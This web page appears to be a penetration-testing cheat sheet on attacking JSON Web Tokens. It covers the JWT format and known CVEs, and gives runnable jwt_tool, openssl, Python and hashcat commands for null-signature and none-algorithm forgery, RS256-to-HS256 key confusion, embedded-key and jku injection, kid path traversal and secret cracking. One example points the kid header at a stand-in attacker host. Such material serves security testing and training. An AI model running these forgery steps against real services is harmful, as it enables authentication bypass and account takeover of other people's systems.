Skip to content

JWT - JSON Web Token

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.

Summary

Tools

JWT Format

JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)

Example : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY

Where we can split it into 3 components separated by a dot.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature

Registered header parameter names defined in JSON Web Signature (JWS) RFC. The most basic JWT header is the following JSON.

{
    "typ": "JWT",
    "alg": "HS256"
}

Other parameters are registered in the RFC.

Parameter Definition Description
alg Algorithm Identifies the cryptographic algorithm used to secure the JWS
jku JWK Set URL Refers to a resource for a set of JSON-encoded public keys
jwk JSON Web Key The public key used to digitally sign the JWS
kid Key ID The key used to secure the JWS
x5u X.509 URL URL for the X.509 public key certificate or certificate chain
x5c X.509 Certificate Chain X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS
x5t X.509 Certificate SHA-1 Thumbprint) Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate
x5t#S256 X.509 Certificate SHA-256 Thumbprint Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate
typ Type Media Type. Usually JWT
cty Content Type This header parameter is not recommended to use
crit Critical Extensions and/or JWA are being used

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

alg Param Value Digital Signature or MAC Algorithm Requirements
HS256 HMAC using SHA-256 Required
HS384 HMAC using SHA-384 Optional
HS512 HMAC using SHA-512 Optional
RS256 RSASSA-PKCS1-v1_5 using SHA-256 Recommended
RS384 RSASSA-PKCS1-v1_5 using SHA-384 Optional
RS512 RSASSA-PKCS1-v1_5 using SHA-512 Optional
ES256 ECDSA using P-256 and SHA-256 Recommended
ES384 ECDSA using P-384 and SHA-384 Optional
ES512 ECDSA using P-521 and SHA-512 Optional
PS256 RSASSA-PSS using SHA-256 and MGF1 with SHA-256 Optional
PS384 RSASSA-PSS using SHA-384 and MGF1 with SHA-384 Optional
PS512 RSASSA-PSS using SHA-512 and MGF1 with SHA-512 Optional
none No digital signature or MAC performed Required

Inject headers with ticarpi/jwt_tool: python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2

Payload

{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}

Claims are the predefined keys and their values: - iss: issuer of the token - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds. - iat: The time the JWT was issued. Can be used to determine the age of the JWT - nbf: "not before" is a future time when the token will become active. - jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed. - sub: subject of the token (rarely used) - aud: audience of the token (also rarely used)

Inject payload claims with ticarpi/jwt_tool: python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3

JWT Signature

JWT Signature - Null Signature Attack (CVE-2020-28042)

Send a JWT with HS256 algorithm without a signature like eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

Exploit:

python3 jwt_tool.py JWT_HERE -X n

Deconstructed:

{"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022}

JWT Signature - Disclosure of a correct signature (CVE-2019-7644)

Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.

Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=

JWT Signature - None Algorithm (CVE-2015-9235)

JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

None algorithm variants: * none * None * NONE * nOnE

To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you remove the signature

Alternatively you can modify an existing JWT (be careful with the expiration time)

  • Using ticarpi/jwt_tool

    python3 jwt_tool.py [JWT_HERE] -X a
    

  • Manually editing the JWT

    import jwt
    
    jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
    decodedToken = jwt.decode(jwtToken, verify=False)                   
    
    # decode the token before encoding with type 'None'
    noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
    
    print(noneEncoded.decode())
    

JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)

If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

⚠ This behavior is fixed in the python library and will return this error jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.. You need to install the following version: pip install pyjwt==0.4.3.

  • Using ticarpi/jwt_tool
    python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
    
  • Using portswigger/JWT Editor

    1. Find the public key, usually in /jwks.json or /.well-known/jwks.json
    2. Load it in the JWT Editor Keys tab, click New RSA Key.
    3. . In the dialog, paste the JWK that you obtained earlier: {"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}
    4. Select the PEM radio button and copy the resulting PEM key.
    5. Go to the Decoder tab and Base64-encode the PEM.
    6. Go back to the JWT Editor Keys tab and generate a New Symmetric Key in JWK format.
    7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
    8. Edit the JWT token alg to HS256 and the data.
    9. Click Sign and keep the option: Don't modify header
  • Manually using the following steps to edit an RS256 JWT token into an HS256

    1. Convert our public key (key.pem) into HEX with this command.

      $ cat key.pem | xxd -p | tr -d "\\n"
      2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
      
    2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

      $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
      
      (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
      
    3. Convert signature (Hex to "base64 URL")

      $ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
      
    4. Add signature to edited payload

      [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
      eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
      

JWT Signature - Key Injection Attack (CVE-2018-0114)

A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

Exploit: * Using [ticarpi/jwt_tool]

python3 jwt_tool.py [JWT_HERE] -X i
* Using portswigger/JWT Editor 1. Add a New RSA key 2. In the JWT's Repeater tab, edit data 3. Attack > Embedded JWK

Deconstructed:

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "kid": "jwt_tool",
    "use": "sig",
    "e": "AQAB",
    "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
  }
}.
{"login":"admin"}.
[Signed with new Private key; Public key injected]

JWT Signature - Recover Public Key From Signed JWTs

The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.

SecuraBV/jws2pubkey: compute an RSA public key from two signed JWTs

$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}

JWT Secret

To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.

Encode and Decode JWT with the secret

  • Using ticarpi/jwt_tool:
    jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
    jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
    
    Token header values:
    [+] alg = "HS256"
    [+] typ = "JWT"
    
    Token payload values:
    [+] name = "John Doe"
    
  • Using pyjwt: pip install pyjwt
    import jwt
    encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
    jwt.decode(encoded, 'secret', algorithms=['HS256']) 
    

Break JWT secret

Useful list of 3502 public-available JWT: wallarm/jwt-secrets/jwt.secrets.list, including your_jwt_secret, change_this_super_secret_random_string, etc.

JWT tool

First, bruteforce the "secret" key used to compute the signature using ticarpi/jwt_tool

python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

Then edit the field inside the JSON Web Token.

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number (or 0 to Continue):
> 0

Finally, finish the token by signing it with the previously retrieved "secret" key.

Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file

Please select an option from above (1-4):
> 1

Please enter the known key:
> secret

Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
  • Recon: python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
  • Scanning: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
  • Exploitation: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
  • Fuzzing: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
  • Review: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

Hashcat

Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

  • Dictionary attack: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
  • Rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
  • Brute force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6

JWT Claims

IANA's JSON Web Token Claims

JWT kid Claim Misuse

The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.

  • Example #1 : Local file

    {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "/root/res/keys/secret.key"
    }
    

  • Example #2 : Remote file

    {
        "alg":"RS256",
        "typ":"JWT",
        "kid":"http://localhost:7070/privKey.key"
    }
    

The content of the file specified in the kid header will be used to generate the signature.

// Example for HS256
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret-from-secret.key
)

The common ways to misuse the kid header: * Get the key content to change the payload * Change the key path to force your own

>>> jwt.encode(
...     {"some": "payload"},
...     "secret",
...     algorithm="HS256",
...     headers={"kid": "http://evil.example.com/custom.key"},
... )

  • Change the key path to a file with a predictable content.

    python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
    python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
    

  • Modify the kid header to attempt SQL and Command Injections

JWKS - jku header injection

"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.

It is sometimes exposed publicly via a standard endpoint:

You should create your own key pair for this attack and host it. It should look like that:

{
    "keys": [
        {
            "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
            "kty": "RSA",
            "e": "AQAB",
            "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
        }
    ]
}

Exploit:

  • Using [ticarpi/jwt_tool]
    python3 jwt_tool.py JWT_HERE -X s
    python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
    
  • Using portswigger/JWT Editor
    1. Generate a new RSA key and host it
    2. Edit JWT's data
    3. Replace the kid header with the one from your JWKS
    4. Add a jku header and sign the JWT (Don't modify header option should be checked)

Deconstructed:

{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[Signed with new Private key; Public key exported]

Labs

References